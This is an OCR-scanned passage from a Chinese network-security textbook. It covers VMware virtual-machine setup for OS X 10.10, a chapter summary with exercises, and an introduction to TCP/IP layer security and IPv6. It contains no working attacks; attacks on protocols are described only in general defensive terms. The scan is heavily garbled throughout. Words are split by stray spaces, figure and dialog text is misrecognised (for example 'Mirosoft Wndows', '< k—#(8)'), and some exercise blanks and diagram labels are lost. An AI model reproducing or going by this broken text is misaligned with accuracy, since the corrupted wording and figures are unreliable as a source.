您 希望 使 用 什么 类 型 的 配置 ? 


图 典型 (推荐 \(T) 
通过 几 个 简单 的 步骤 创建 Workstation 
12.0 虚拟 机 。 


O 〇 自 定义 (高 级 XC) 
创建 带 有 SCSI 控制 器 类 型 、 虚 拟 不 盘 类 
型 以 及 与 旧版 VMware 产品 兼容 性 等 高 
级 选项 的 虚拟 机 。 


< k—#(8) 取消 


1-12 “新 建 虚拟 机 向 导 ” 界 面 


新 建 虚 拟 机 向 导 x 


选择 客户 机 操作 系统 
此 虚拟 机 中 将 安装 哪 种 操作 系统 ? 


客户 机 操作 系统 


(@ Mirosoft Wndows(W) 
O unux(L) 

OApple Mac OS X(M) 
O Novel NetWare(E) 
Ossolars(S) 

〇 VMware ESX(X) 

口 其 他 (DO) 


版 本 (V) 
OsX10.10 ~ 


< 上 —#(B) | | F—PF(Q) > 取消 


图 1-13 选择 Windows 操作 系统 


(3) 借助 Workstation 12 Pro, 可 以 充分 利用 Windows 10 的 最 新 功能 (如 私人 数字 
助理 Cortana、 新 的 Edge 网 络 浏览 器 中 的 墨迹 书写 功能 ) ,还 可 以 为 Windows 10 设备 构 
建 通用 应 用 。 甚 至 可 以 要 求 Cortana 直接 从 Windows 10 启动 VMware Workstation 。 

(4) 设置 虚拟 机 名 称 及 虚拟 机 放置 位 置 , 如 图 1-14 所 示 。 


sz nsz2na — 2 


新 建 虚拟 机 向 导 x 


命名 虚拟 机 
您 要 为 此 虚拟 机 使 用 什么 名 称 ? 


庶 拟 机 名 称 (V): 
05X 10.10 


位 置 (L): 
d:NVrtual Machines\OS X 10.10 浏览 (R).… 


在 "编辑 ">" 首 选项 "中 可 更 改 昧 认 位 置 


1-14 设置 虚拟 机 名 称 及 放置 位 置 


(5) 配置 虚拟 机 大 小 (磁盘 空间 根据 需要 留 有 余地 ,可 尽量 设置 得 大 些 ), 如 图 1-15 
所 示 。 


新 建 虚拟 机 向 导 x 


指定 磁盘 容量 
磁盘 大 小 为 多 少 ? 


虚拟 机 的 硬盘 作为 一 个 或 多 个 文件 存储 在 主机 的 物理 磁盘 中 。 这 些 文件 最 
初 很 小 ， 随 着 您 向 虚拟 机 中 添加 应 用 程序 、 文 件 和 数据 而 逐渐 变 大 。 


最 大 磁盘 大 小 (GB)(S): 50.0 问 
针对 OS X 10.10 的 建议 大 小 : 40 


〇 将 虚拟 厂 盘 存储 为 单个 文件 (O) 


图 将 虚拟 磁盘 拆 分 成 多 个 文件 (M) 
拆 分 磁盘 后 ， 可 以 更 轻松 地 在 计算 机 之 间 移 动 虚拟 机 ， 但 可 能 会 降低 大 容量 
磁盘 的 性 能 。 


< 上 取消 
图 1-15 配置 虚拟 机 大 小 


(6) 完成 虚拟 机 创建 ,启动 虚拟 机 ,如 图 1-16 所 示 , 可 查看 到 有 关 信 息 ,并 解决 出 现 
的 有 关 问 题 。 进 入 放置 虚拟 机 的 文件 夹 ,找到 后 绥 为 . vmx 的 文件 ,以 记事 本 打开 ,在 
smc. present 一 "TRUE" 后 添加 一 行 smc. version 一 0 ,保存 后 再 重新 启动 。 
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新 建 虚拟 机 向 导 x 
已 准备 好 创建 虚拟 机 
单 击 "完成 "创建 虚拟 机 。 然 后 可 以 安装 OS X 10.10。 
将 使 用 下 列 设置 创建 虚拟 机 : 
名 称 : OS X 10.10 
位 置 : 中 \Wirtual Machines\OS X 10.10 
版 本 : Workstation 12.0 
操作 系统 : OS X 10.10 
硬盘 : 50 GB, 拆 分 
内 存 : 2048 MB 
网 络 适配器 : NAT 
其 他 设备 : 2 个 CPU 核心 , CD/DVD, USB 控制 器 , 声卡 
自 定义 硬件 (C).… 
[sss] [一 关上 


图 1-16 完成 虚拟 机 配置 


18 本 章 小 结 


本 章 结 合 案例 介绍 了 网 络 安全 的 基本 概念 ,网 络 系统 面临 的 威胁 、 类 型 及 途径 ,以 及 
网 络 安全 威胁 的 发 展 的 主要 态势 ,并 对 产生 网 络 安全 的 风险 及 隐患 的 系统 问题 、 操 作 系 
统 漏洞 .网 络 数据 库 问 题 .防火墙 局 限 性 ,管理 和 其 他 各 种 因素 进行 了 概要 分 析 。 应 当 理 
解 学 习 网 络 安 全 的 目的 、 重 要 现实 意义 和 必要 性 。 

本 章 还 概要 地 介绍 了 网 络 安全 技术 的 概念 网络 安 全 的 目标 及 主要 内 容 、 网 络 安全 
的 关键 技术 (身份 认证 ,访问 管理 .加 密 、 防 恶意 代码 .加固 、 监 控 \ 审 核 跟踪 和 备份 恢复 ) 
和 网 络 安全 模型 。 并 概述 了 国内 外 网 络 安全 建设 与 发 展 的 现状 ,以 及 网 络 安全 技术 的 发 
展 趋势 。 最 后 ,简明 扼要 地 概述 了 实体 安全 的 概念 内容, 媒体 安全 与 物理 隔离 技术 ,以 
及 网 络 安全 实验 前 期 准备 所 需 的 构建 虚拟 网 的 过 程 和 主要 方法 等 。 

网 络 安全 的 最 终 目 标 和 关键 是 保护 网 络 系统 的 信息 资源 安全 ,做 好 预防 ，“ 防 患 于 未 
然 ? 是 确保 网 络 安全 的 最 好 举措 。 世 界 上 并 没有 绝对 的 安全 ,网 络 安全 是 一 个 系统 工程 ， 
需要 多 方面 互相 密切 配合 ,综合 防范 ,才能 收 到 实效 。 


19 练习 与 实践 一 


1. 选择 题 


(1) 计算 机 网 络 安全 是 指 利用 计算 机 网 络 管理 控制 和 技术 措施 ,保证 在 网 络 环境 中 
数据 的 ( ) 完整 性 、 网 络 服务 可 用 性 和 可 审查 性 受到 保护 。 
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A. 保密 性 B. 抗 攻击 性 
C. 网 络 服务 管理 性 D. 控制 安全 性 
(2) 网 络 安全 的 实质 和 关键 是 保护 网 络 的 ( ) 安 全 。 
A. 系统 B. 软件 C. 信息 D. 网 站 
(3) 实际 上 ,网 络 的 安全 问题 包括 两 方面 的 内 容 , 一 是 ( ) ,二 是 网 络 的 信息 安全 。 
A. 网 络 服务 安全 B. 网 络 设备 安全 
C. 网 络 环境 安全 D. 网 络 的 系统 安全 


(4) 在 短 时 间 内 向 网 络 中 的 某 台 服务 器 发 送 大 量 无 效 连接 请 求 , 导 致 合法 用 户 暂 时 
无 法 访问 服务 器 的 攻击 行为 是 破坏 了 ( Ña 
A. 保密 性 B. 完整 性 C. 可 用 性 D. 可 控 性 
(5) 如 果 访 问 者 有 意 避 开 系 统 的 访问 控制 机 制 , 则 该 访问 者 对 网 络 设 备 及 资源 进行 
的 非 正常 使 用 属于 ( 
A. 破 环 数据 完整 性 B. 非 授 权 访问 
C. 信息 泄漏 D. 拒绝 服务 攻击 
(6) 计算 机 网 络 安全 是 一 门 涉及 计算 机 科学 、 网 络 技术 、 信 息 安 全 技术 .通信 技术 ` 应 
用 数学 .密码 技术 和 信息 论 等 多 学 科 的 综合 性 学 科 , 是 (  ”) 的 重要 组 成 部 分 。 


A. 信息 安全 学 科 B. 计算 机 网 络 学 科 
C. 计算 机 学 科 D. 其 他 学 科 
(7) 实体 安全 包括 (  )。 
A. 环境 安全 和 设备 安全 B. 环境 安全 .设备 安全 和 媒体 安全 
C. 物理 安全 和 环境 安全 D. 其 他 方面 
(8) 在 网 络 安全 中 ,常用 的 关键 技术 可 以 归纳 为 ( 站 三 夫 类 :。 
A. 计划 检测 .防范 B. 规划 ,监督 .组织 
C. 检测 .防范 ,监督 D. 预防 保护 ,检测 跟踪 、 响 应 恢复 
2. 填空 题 
(1) 计算 机 网 络 安全 是 一 门 涉及 % ` \ 通 信 技 术 、 应 用 数 


学 ` 密 码 技术 、 信 息 论 等 多 学 科 的 综合 性 学 科 。 
(2) 网 络 信息 安全 的 五 大 要 素 和 技术 特征 分 别 是 


(3) 从 层次 结构 上 ,计算 机 网 络 安全 所 涉及 的 内 容 包括 š 
> š 五 个 方面 。 

(4) 网 络 安全 的 目标 是 在 计算 机 网 络 的 信息 传输 .存储 与 处 理 的 整个 过 程 中 ,提高 
的 防护 监控 ,反应 恢复 和 的 能 力 。 

(5) 网 络 安全 关键 技术 分 为 
š 和 八大 类 。 

(6) 网 络 安全 技术 的 发 展 趋势 具有 w 的 
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(7) 国际 标准 化 组 织 (ISO) 提 出 信息 安全 的 定义 是 : 为 数据 处 理 系统 建立 和 采取 的 


保护 ,保护 计算 机 硬件 、 软 件 、 数 据 不 因 的 原因 而 遭 到 破坏 、 更 改 和 
泄露 。 
(8) 利用 网 络 安全 模型 可 以 构建 ,进行 具体 的 网 络 安全 方案 的 制定 、 规 划 、 
设计 和 实施 等 ,也 可 以 用 于 实际 应 用 过 程 的 
3. 简 答题 


(1) 威胁 网 络 安全 的 因素 有 哪些 ? 

(2) 网 络 安全 的 概念 是 什么 ? 

(3) 网 络 安全 的 目标 是 什么 ? 

(4) 网 络 安全 的 主要 内 容 包 括 哪些 方面 ? 

(5) 简 述 网 络 安全 的 保护 范畴 。 

(6) 网 络 管理 或 安全 管理 人 员 对 网 络 安全 的 侧重 点 是 什么 ? 
(7) 什么 是 网 络 安 全 技术 ? 什么 是 网 络 安 全 管理 技术 ? 

(8) 简 述 网 络 安 全 关键 技术 的 内 容 。 

(9) 画 出 网 络 安全 通用 模型 ,并 进行 说 明 。 

(10) 为 什么 说 网 络 安全 的 实质 和 关键 是 网 络 信息 安全 ? 


4. 实践 题 


(1) 安装 ,配置 ,构建 虚拟 局 域 网 (上 机 完成 ): 下 载 并 安装 一 种 虚拟 机 软件 ,配置 虚 
拟 机 并 构建 虚拟 局 域 网 。 

(2) 下 载 并 安装 一 种 网 络 安全 检测 软件 ,对 校园 网 进行 安全 检测 并 做 简要 分 析 。 

(3) 通过 调研 及 阅读 参考 资料 , 写 一 份 有 关 网 络 安 全 威胁 的 具体 分 析 资 料 。 

(4) 通过 调研 及 阅读 参考 资料 , 写 一 份 分 析 网 络 安 全 问题 的 报告 。 
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网 络 安全 技术 是 网 络 安全 工作 的 重要 组 成 部 分 。 为 了 做 好 网 络 安全 保障 工作 ,不 仅 
需要 具有 网 络 方面 的 基本 知识 ,还 需要 搞 清 网 络 协议 及 通信 端口 存在 的 安全 漏洞 和 隐 
患 ,网 络 协议 安全 体系 和 虚拟 专用 网 (VPN) 安 全 技术 等 ,以 及 无 线 局 域 网 (WLAN) 和 常 
用 的 网 络 安全 管理 工具 ,才能 更 有 效 地 进行 网 络 安全 防范 。 


三 教学 目标 


。 了 和解 网 络 协议 安全 及 IPv6 的 安全 性 。 

。 理解 常用 虚拟 专用 网 (VPN) 技 术 。 

。 掌握 无 线 局 域 网 安全 技术 及 安全 设置 方法 。 
。 掌握 常用 的 网 络 安全 管理 工具 及 应 用 。 


21 网 络 协议 安全 概述 


【案例 2-1] 网 络 协议 攻防 成 为 信息 战 双方 关注 的 重点 。 计 算 机 网 络 广泛 使 用 的 
TCP/IP 协议 族 存在 着 漏洞 威胁 ,利用 协议 攻防 成 为 信息 战 中 作战 双方 研究 的 重点 。 
2003 年 美国 借口 伊拉克 拥有 大 规模 生化 武器 ,与 英国 组 成 联军 ,侵入 伊拉克 指挥 系统 窍 
取 情 报 并 借助 信息 战 致使 其 瘫 疾 , 快 速 占领 了 伊拉克 。 


211 网 络 协 议 安全 问题 


网 络 协议 (protocol) 是 实现 网 络 功能 的 最 基本 的 机 制 和 规则 ,是 为 进行 网 络 通 信和 
数据 交换 而 建立 的 规则 ,标准 或 约定 的 集合 ,是 一 种 特殊 的 软件 。 

网 络 体系 层次 结构 参考 模型 主要 有 两 种 : 开放 系统 互 连 参 考 模型 (Open System 
Interconnection/ Reference Model,OSI/RM) 和 TCP/IP 模型 。 国 际 标准 化 组 织 (ISO) 的 
OSI 参考 模型 共有 7 层 , 由 低 到 高 依次 是 物理 层 、 数 据 链 路 层 、 网 络 层 、 传 输 层 、 会 话 层 、 
表示 层 和 应 用 层 。 其 设计 之 初 是 期 望 为 网 络 体系 与 协议 发 展 提供 一 种 国际 标准 ,后 来 
由 于 其 过 于 庞杂 ,使 TCP/IP 协议 成 为 了 Internet 的 基础 协议 和 实际 上 应 用 的 网 络 
标准 。 
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TCP/IP 模型 与 OSI 参考 模型 不 同 ,由 低 到 高 依次 由 网 络 接口 层 ` 网 络 层 、 传 输 层 和 
应 用 层 4 部 分 组 成 。 这 4 层 体 系 与 OSI 参考 模型 的 7 层 体系 以 及 常用 的 相关 协议 的 对 
应 关系 如 图 2-1 所 示 。 


OSI 参 考 模型 TCP/IP 模 型 对 应 网 络 协议 

应 用 (Application) TFTP, FTP, NFS, WAIS 
表示 (Presentation) 应 用 层 Telnet, Rlogin, SNMP, Gopher 

会 话 层 (Session) SMTP, DNS 
传输 层 (Transport) 传输 层 TCP, UDP 

网 络 层 (Network) 网 络 层 IP, ICMP, ARP, RARP, AKP, UUCP 

数据 链 路 层 (Data Link) FDDI, Ethernet, Arpanet, PDN, SLIP, PPP 

物理 层 (Physical) usai IEEE 802.1A, IEEE 802.2 到 IEEE 802.11 


2-1 OSI 参考 模型 和 TCP/IP 模型 及 协议 的 对 应 关系 


呈 OO 知识 拓展 TCP/IP 协议 其 实 是 一 组 用 于 传输 控制 和 异 构 网 互联 的 相关 协议 ,组 
成 了 TCP/IP 协议 栈 (TCP/IP protocol stack) ,传输 控制 协议 (TCP) 和 网 际 协 议 (IP) 是 
其 中 确保 数据 完整 传输 的 两 个 最 重要 的 协议 。TCP/IP 协议 栈 更 注重 互 连 设备 之 间 的 数 
据 传送 ,而 并 非 严 格 的 功能 层次 划分 。 

计算 机 网 络 依靠 其 协议 实现 互 连 结 点 之 间 的 通信 与 数据 交换 ,网 络 协 议 是 计算 机 网 
络 极为 重要 的 组 成 部 分 ,在 设计 之 初 只 注重 异 构 网 的 互联 ,忽略 了 安全 性 问题 ,而 且 , 网 
络 各 层 协 议 是 一 个 开放 体系 ,具有 计算 机 网 络 及 其 部 件 所 能 够 完成 的 基本 功能 ,这 种 开 
放 性 及 缺陷 使 网 络 系 统 处 于 安全 风险 和 隐患 的 环境 。 

计算 机 网 络 协议 的 安全 风险 大 致 可 归结 为 3 个 方面 : 

(1) 协议 自身 的 设计 缺陷 和 实现 中 存在 的 一 些 安全 漏洞 容易 受到 入 侵 和 攻击 。 

(2) 不 具有 有 效 的 认证 机 制 ,不 具有 验证 通信 双方 真实 性 的 功能 。 

(3) 没有 保密 机 制 , 不 具有 保护 网 上 数据 机 密 性 的 功能 。 


212 TCRIP 层 次 安全 性 


计算 机 网 络 安全 可 以 看 成 一 个 由 多 个 安全 层 构 成 的 集合 ,每 个 安全 层 都 是 一 个 包含 
多 个 特征 的 实体 。 在 TCP/IP 的 不 同 层 次 上 ,可 以 增加 不 同 的 网 络 安全 策略 和 机 制 , 以 
增强 网 络 安全 性 。 如 在 传输 层 提供 安全 套 接 字 (Secure Socket Layer, SSL) 服 务 ,在 网 络 
层 提 供 虚 拟 专 用 网 (VPN) 等 。 下 面 在 分 析 TCP/IP 不 同 层次 的 安全 性 的 基础 上 ,概述 提 
高 各 层 安 全 性 的 措施 。TCP/IP 的 网 络 安全 层次 体系 如 图 2-2 所 示 。 


1. 网 络 接口 层 的 安全 性 


OSI 参考 模型 的 物理 层 和 数据 链 路 层 对 应 TCP/IP 模型 的 网 络 接口 层 。 物 理 层 安 全 
问题 是 指 由 网 络 环境 及 物理 特性 产生 的 网 络 设施 和 线路 安全 问题 ,致使 网 络 系统 出 现 安 
全 风险 ,如 设备 被 资 ,意外 故障 .设备 损坏 与 老化 、 信 息 探测 与 窃听 等 。 由 于 以 太 网 上 存 
在 交换 设备 并 采用 广播 方式 ,可 能 在 某 个 广播 域 中 侦 听 窃取 并 分 析 信 息 。 为 此 ,保护 链 
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应 用 层 安 全 协议 (如 S/MIME、SHTTP - SNMPv3) 


授权 与 代理 安全 服务 
应 用 层 | 用 户 身份 | 服务 器 防火 管理 
认证 墙 ， 如 CA 
传输 层 安 全 协议 (如 SSL/TLS、PCT、SSH、SOCKS) 
i i 安全 机 制 
传输 层 电路 级 防火 墙 ú 入 侵 检测 管理 
网 络 层 安全 协议 (如 IPSec) 第 三 方 | (DS) 漏 洞 系统 
公证 (如 | 扫描 审 De 
Keberos) | 计 、 日志 安全 
网 络 层 | 数据 源 认证 | 包 过 滤 VPN 数字 签名 | 响应 、 | 安全 设备 | 管理 
(IP) IPSecAH | 防火 墙 恢复 管理 


相 邻 结 点 | 子 网 划分 、 
Nts bg MDC “| 点 对 点 加 密 

网 名 VLAN. 物理 保 
有 Ws Naa MAC |(MS-MPPE) 理 保护 


认证 访问 控制 ”数据 完整 性 数据 机 密 性 ” 抗 抵赖 ”可 控 性 ”可 审计 性 ”可 用 性 
2-2 ”TCP/IP 网 络 安全 层次 体系 


路 上 的 设施 安全 极为 重要 ,物理 层 的 安全 措施 相对 较 少 ,最 好 采用 “隔离 技术 ”使 任意 两 
个 网 络 之 间 保 证 在 逻辑 上 能 够 连通 ,同时 从 物理 上 隔断 ,并 加 强 实体 安全 管理 与 维护 。 


2. 网 络 层 的 安全 性 


网 络 层 的 主要 功能 是 保证 数据 包 在 网 络 中 正常 传输 ,其 中 IP 协议 是 整个 TCP/IP 协 
议 体 系 结构 的 重要 基础 .TCP/IP 中 所 有 协议 的 数据 都 以 IP 数据 报 形式 进行 传输 。 

国际 上 对 网 络 层 进行 了 很 多 安全 协议 的 标准 化 工作 。 如 网 络 层 安 全 协议 (NLSP)、 
安全 协议 3 号 (SP3)、 集 成 化 NLSP(I-NLSP)、SwIPe、IPSP 和 IPSec 等 安全 协议 。 这 些 
安全 协议 都 基于 IP 封装 技术 。 主 要 包括 3 个 过 程 : 一 是 在 发 送 端 ,加 密 数据 包 内 容 , 在 
外 层 封 装 新 的 IP 报头 等 ;二 是 对 加 密 后 的 数据 包 进行 Internet 路 由 选择 ;三 是 到 达 另 一 
端 后 ,外 层 IP 报头 被 拆 开 , 报 文 被 解密 ,然后 将 数据 还 原 后 送 到 上 一 协议 层 。 

呈 知识 拓展 IPv4 和 IPv6 是 TCP/IP 协议 族 的 两 种 IP 版 本 。IPv4 在 设计 之 初 根 
本 没有 考虑 到 网 络 安全 问题 ,IP 包 本 身 不 具有 任何 安全 特性 ,从 而 导致 在 网 络 上 传输 的 
数据 包 很 容易 泄漏 或 受到 攻击 ,IP 欺骗 和 Internet 控制 消息 协议 (Internet Control 
Message Protocol,ICMP) 攻 击 都 是 针对 IP 层 的 攻击 手段 。 如 伪造 IP 包 地 址 、 拦 截 、 窃 
取 、 自 改 . 重 播 等 。 因 此 ,通信 双方 无 法 保证 收 到 的 IP 数据 报 的 真实 性 。IPv6 简化 了 
IPv4 中 的 IP 头 结构 ,并 增加 了 对 安全 性 的 设计 ,参见 2.1.3 节 。 


3. 传输 层 的 安全 性 


传输 层 的 安全 问题 主要 有 传输 与 控制 安全 、 数 据 交 换 与 认证 安全 ,数据 保密 性 与 完 
整 性 等 。 其 安全 措施 主要 取决 于 具体 的 协议 ,主要 包括 传输 控制 协议 (TCP) 和 用 户 数据 
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报 协议 (UDP)。TCP 是 一 个 面向 连接 的 协议 ,用 于 多 数 的 互联 网 服务 ,如 HTTP、FTP 
和 SMTP。 为 了 保证 传输 层 的 安全 ,Netscape 通信 公司 设计 了 安全 套 接 层 协议 SSL, 现 
更 名 为 传输 层 协 议 (Transport Layer Security, TLS), 主要 包括 SSL 握手 协议 和 SSL 记 
录 协 议 。 

SSL 握手 协议 用 于 数据 认证 和 数据 加 密 的 过 程 ,利用 了 多 种 有 效 密 钥 交换 算法 和 机 
H|. SSL 记录 协议 对 应 用 程序 提供 的 信息 分 段 , 压 缩 、 认 证 和 加 密 。SSL 协议 提供 了 身 
份 验证 、 完 整 性 检验 和 保密 性 服务 , 密 钥 管 理 的 安全 服务 可 为 各 种 传输 协议 重复 使 用 。 

ER 知识 拓展 ”网络 层 (或 传输 层 ) 的 安全 协议 允许 为 主机 (或 进程 ) 之 间 的 数据 通道 
增加 安全 属性 。 若 两 个 主机 之 间 建 立 了 一 条 安全 的 通道 , 则 所 有 在 这 条 通道 上 传输 的 IP 
包 都 将 会 自动 被 加 密 。 同 样 , 若 两 个 进程 之 间 通 过 传输 层 安 全 协议 建立 了 一 条 安全 的 数 
据 通道 , 则 两 个 进程 间 传 输 的 所 有 数据 信息 都 可 自动 被 加 密 。 


4. 应 用 层 的 安全 性 


在 应 用 层 中 利用 TCP/IP 协议 运行 和 管理 控制 的 程序 很 多 。 网 络 安全 问题 主要 出 
现在 需要 重点 解决 的 常用 应 用 系统 ,包括 HTTP、FTP、SMTP、DNS、Telnet 等 。 

(1) 超 文本 传输 协议 (HTTP)。 是 互联 网 上 应 用 最 广泛 的 协议 ,使 用 80 端口 建立 连 
接 , 并 进行 应 用 程序 浏览 数据 传输 和 对 外 服务 。 其 客户 端 使 用 浏览 器 访问 并 接收 从 服 
务 器 返回 的 Web 网 页 。 一 旦 下 载 具 有 破坏 性 的 ActiveX 控件 或 Java Applets 插件 ,将 可 
能 在 用 户 端 上 运行 并 感染 恶意 代码 ,病毒 或 木马 ,因此 最 好 不 下 载 示 经 过 检验 的 程序 。 

(2) 文件 传输 协议 (FTP)。 是 建立 在 TCP/IP 连接 上 的 文件 发 送 与 接收 协议 。 由 服 
务 器 和 客户 端 组 成 ,每 个 TCP/IP 主机 都 有 内 置 的 FTP 客户 端 ,而 且 多 数 服务 器 都 有 
FTP 程序 。FTP 常用 20 和 21 端口 ,前 者 建立 连接 ,使 连接 端口 在 整个 FTP 会话 中 保持 
开放 ,用 于 在 客户 端 和 服务 器 之 间 发 送 控制 信息 和 客户 端 命令 。 在 FTP 的 主动 模式 下 ， 
常用 20 端口 进行 数据 传输 ,在 客户 端 和 服务 器 之 间 传 输 任 一 文件 都 要 建立 一 次 数据 

知识 拓展 3 FTP 服务 器 需要 认证 时 ,所 有 的 用 户 名 和 密码 都 以 明文 传输 。 搜 寻 
允许 匿名 连接 并 有 写 权 限 的 FTP 服务 器 是 攻击 的 手段 之 一 ,确定 目标 后 ,上 传 大 量 繁杂 
信息 塞 满 整个 存储 空间 ,致使 操作 系统 运行 缓慢 , 且 日 志文 件 无 空间 记录 其 他 事件 ,使 攻 
击 者 借 机 进入 操作 系统 或 其 他 服务 的 日 志文 件 并 逃避 检测 及 追踪 。 

(3) 简单 邮件 传输 协议 (SMTP)。 黑 客 可 以 利用 SMTP 对 E-mail 服务 器 进行 干扰 
和 破坏 。 如 发 送 大 量 的 垃圾 邮件 和 聚集 数据 包 , 致 使 服务 器 不 能 正常 处 理 合法 用 户 的 使 
用 请 求 , 导 致 拒绝 服务 。 现 在 绝 大 部 分 的 计算 机 病毒 是 通过 邮件 或 其 附件 进行 传播 的 ， 
所 以 ,SMTP 服务 器 应 增加 过 滤 、 扫 描 及 设置 拒绝 指定 邮件 等 功能 。 

(4) 域名 系统 (DNS)。 计 算 机 网 络 通 过 DNS 在 解析 域名 请 求 时 使 用 53 端口 ,在 进 
行 区 域 传输 时 使 用 TCP 53 端口 。 黑 客 可 以 进行 区 域 传 输 或 利用 攻击 DNS 服务 器 窃取 
区 域 文件 ,并 从 中 窃取 区 域 中 所 有 系统 的 IP 地 址 和 主机 名 。 可 采用 防火 墙 保护 DNS 服 
务 器 并 阻止 各 种 区 域 传输 ,还 可 通过 配置 系统 来 限制 接收 特定 主机 的 区 域 传输 。 

(5) 远程 登录 协议 (Telnet)。Telnet 的 功能 是 进行 远程 终端 登录 访问 , 曾 用 于 管理 
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UNIX 设备 。 允 许 远 程 用 户 登 录 是 产生 Telnet 安全 威胁 的 主要 问题 ,另外 ,Telnet 以 明 
文 方式 发 送 所 有 用 户 名 和 密码 ,给 非法 者 以 可 乘 之 机 ,只 要 利用 一 个 Telnet 会 话 即 可 远 


213 IPW6 的 安全 性 概述 


IPv6 是 在 IPv4 基础 上 改进 的 下 一 代 互 联网 协议 ,对 其 研究 和 建设 正 逐 步 成 为 信息 
技术 领域 的 热点 之 一 ,IPv6 的 网 络 安全 已 成 为 下 一 代 互 联网 研究 中 一 个 重要 课题 。 


1. IPv6 的 优势 及 特点 


(1) 扩展 地 址 空间 及 应 用 。IPv6 最 初 是 为 了 解决 互联 网 快速 发 展 使 IPv4 地 址 空间 
被 耗 尽 问 题 ,以 免 阻碍 互联 网 的 进一步 扩展 。IPv4 采用 32 位 地 址 长 度 , 大 约 只 有 43 亿 
个 地 址 ,而 IPv6 采用 128 位 地 址 长 度 , 极 大 地 扩展 了 IP 地 址 空间 。 

IPv6 的 设计 还 解决 了 IPv4 的 其 他 问题 ,如 端 到 端 IP 连接 .安全 性 .服务 质量 
(QoS) 多 播 .移动 性 和 即 插 即 用 等 功效 。IPv6 还 对 报头 进行 了 重新 设计 ,由 一 个 简化 的 
长 度 固定 的 基本 报头 和 多 个 可 选 的 扩展 报头 组 成 。 既 可 加 快 路 由 速度 ,又 能 灵活 地 支持 
多 种 应 用 ,便于 扩展 新 的 应 用 。IPv4 和 IPv6 的 报头 如 图 2-3 和 图 2-4 所 示 。 


版 本 (4 位 ) 头 长 度 (4 位 ) ”| 服务 类 型 (8 位 ) | 封包 总 长 度 (16 位 ) 
封包 标识 (16 位 ) 标志 G3 位 ) 。 片断 偏 移 地 址 (13 位 ) 
存活 时 间 (8 位 ) 协议 (8 位 ) | 校 验 和 (16 位 ) 
来 源 IP 地 址 (32 位 ) 
目的 IP 地 址 (32 位 ) 
选项 (可 选 ) | 填充 (可 选 ) 
数据 


图 2- 而 采用 安全 ,3 ”IPv4 的 IP 报头 


版 本 号 [业务 流 类 别 | 流标 签 
净 荷 长 度 下 一 类” 跳 数 限制 


源 地 址 


目的 地 址 


图 2-4 IPv6 基本 报头 


(2) 提高 网 络 整体 性 能 。IPv6 的 数据 包 可 以 超过 64KB, 使 应 用 程序 可 利用 最 大 传 
输 单元 (MTU) 获 得 更 快 、 更 可 靠 的 数据 传输 ,并 在 设计 上 改进 了 选 路 结构 ,采用 简化 的 
报头 定 长 结构 和 更 合理 的 分 段 方法 ,使 路 由 器 加 快 数据 包 处 理 速 度 ,从 而 提高 了 转发 效 
率 ,并 提高 了 网 络 的 整体 吞吐 量 等 性 能 。 

(3) 提高 网 络 安全 性 能 。IPv6 以 内 嵌 安 全 机 制 要 求 强制 实现 IP 安全 协议 IPSec, 提 
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供 支持 数据 源 发 认证 、 完 整 性 和 保密 性 的 能 力 , 同 时 可 抗 重 放 攻 击 。 安 全 机 制 主要 由 两 
个 扩展 报头 实现 : 认证 头 (Authentication Header,AH) 和 封装 安全 载荷 (Encapsulation 
Security Payload,ESP), AH 具有 3 个 功能 : 一 是 保护 数据 完整 性 (不 被 非法 算 改 ); 二 
是 数据 源 发 认证 (防止 源 地 址 假冒 ) 及 抗 重 放 攻击 ;三 是 IPv6 对 安全 机 制 的 增强 可 简化 
实现 安全 的 虚拟 专用 网 (VPN)。ESP 在 AH 所 实现 的 安全 功能 基础 上 ,还 增加 了 对 数据 
保密 性 的 支持 ,AH 和 ESP 都 有 传输 模式 和 隧道 模式 两 种 使 用 方式 。 传 输 模 式 只 应 用 于 
主机 实现 ,并 只 提供 对 上 层 协议 的 保护 ,而 不 保护 IP 报头 。 隧 道 模式 (将 在 2. 2. 3 节 介 
绍 ) 可 用 于 主机 或 安全 网 关 。 在 此 模式 中 ,内 部 的 IP 报头 带 有 最 终 的 源 地 址 和 目的 地 
址 ,而 外 面 的 IP 报头 可 能 包含 性 质 不 同 的 IP 地 址 ,如 安全 网 关 地 址 。 

(4) 提供 更 好 的 服务 质量 。IPv6 在 分 组 的 头 部 中 定义 业务 流 类 别 字段 和 流标 签字 
段 两 个 重要 参数 ,以 提供 对 服务 质量 (QoS) 的 支持 。 业 务 流 类 别 字 段 将 IP 分 组 的 优先 级 
分 为 16 个 等 级 。 对 于 需要 特殊 QoS 的 业务 ,可 在 IP 数据 包 中 设置 相应 的 优先 级 ,路 由 
器 根据 IP 包 的 优先 级 分 别 对 这 些 数 据 进行 各 种 处 理 。 流 标签 用 于 定义 任意 一 个 传输 的 
数据 流 , 以 便 网 络 中 各 结 点 可 对 此 数据 进行 识别 与 特殊 处 理 。 

(5) 实现 更 好 的 组 播 功能 。 组 播 是 一 种 将 信息 传递 给 已 登记 且 计 划 接 收 该 消息 的 主 
机 功能 ,可 同时 给 大 量 用 户 传 递 数据 ,传递 过 程 只 占用 一 些 公共 或 专用 带宽 而 不 在 整个 
网 络 广播 ,以 减少 带宽 。IPv6 还 具有 限制 组 播 传递 范围 的 一 些 特性 ,组 播 消 息 可 被 限制 
于 一 特定 区 域 .公司 、 位 置 或 其 他 约定 范围 ,从 而 减少 带宽 的 使 用 并 提高 安全 性 。 

(6) 支持 即 插 即 用 和 移动 性 。 当 联网 设备 接 和 网络 后 ,以 自动 配置 可 自动 获取 IP 地 
址 和 必要 的 参数 ,实现 即 插 即 用 ,简化 了 网 络 管理 ,易于 支持 移动 结 点 。IPv6 不 仅 从 
IPv4 中 借鉴 了 很 多 概念 和 术语 ,还 提供 了 移动 IPv6 所 需 的 新 功能 。 

(7) 提供 必 选 的 资源 预 留 协议 RSVP 功能 ,用 户 可 在 从 源 点 到 目的 地 的 路 由 器 上 预 
留 带 宽 , 以 便 提 供 确保 服务 质量 的 图 像 和 其 他 实时 业务 。 


2. IPv4 与 IPv6 安全 问题 对 比 


通过 比较 IPv4 和 IPv6 的 安全 问题 ,发 现 有 些 安全 问题 的 原理 和 特征 基本 无 变化 ,个 
别 地 方 引 进 IPv6 后 安全 问题 的 原理 和 特征 却 发 生 很 大 变化 。 

(1) 与 IPv4 的 安全 比较 ,IPv6 原理 和 特征 基本 未 发 生变 化 的 安全 问题 可 划分 为 3 
类 : 网 络 层 以 上 的 安全 问题 ,与 网 络 层 数据 保密 性 和 完整 性 相关 的 安全 问题 和 与 网 络 层 
可 用 性 相关 的 安全 问题 ,如 窃听 攻击 、 应 用 层 攻 击 、 中 间 人 攻击 、 洪 泛 攻击 等 。 

